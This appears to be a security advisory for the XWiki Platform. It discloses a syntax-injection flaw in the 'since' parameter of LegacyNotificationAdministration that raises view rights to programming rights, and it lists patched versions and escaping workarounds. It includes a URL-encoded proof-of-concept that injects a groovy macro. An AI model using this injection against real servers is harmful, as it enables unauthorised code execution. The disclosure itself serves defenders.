Summary
XWiki Platform vulnerable to privilege escalation from view right on XWiki.Notifications.Code.LegacyNotificationAdministration
Details

Impact

Steps to reproduce:

Open /xwiki/bin/view/XWiki/Notifications/Code/LegacyNotificationAdministration?since=%7B%7B%2Fhtml%7D%7D+%7B%7Basync+async%3D%22true%22+cached%3D%22false%22+context%3D%22doc.reference%22%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello+%22+%2B+%22from+groovy%21%22%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D, where is the URL of your XWiki installation.

This demonstrates an XWiki syntax injection attack via the since-parameter, allowing privilege escalation from view to programming rights.

Patches

The vulnerability has been patched in XWiki 15.0-rc-1, 14.10.3, 14.4.8 and 14.10.3.

Workarounds

For versions >= 14.6-rc-1 the workaround is to modify the page XWiki.Notifications.Code.LegacyNotificationAdministration to add the missing escaping, as described on https://github.com/xwiki/xwiki-platform/commit/8e7c7f90f2ddaf067cb5b83b181af41513028754#diff-4e13f4ee4a42938bf1201b7ee71ca32edeacba22559daf0bcb89d534e0225949R70

For versions < 14.6-rc-1 the workaround is to modify the file <xwikiwebapp>/templates/distribution/eventmigration.wiki to add the missing escaping, as described on https://github.com/xwiki/xwiki-platform/commit/6d74e2e4aa03d19f0be385ab63ae9e0f0e90a766
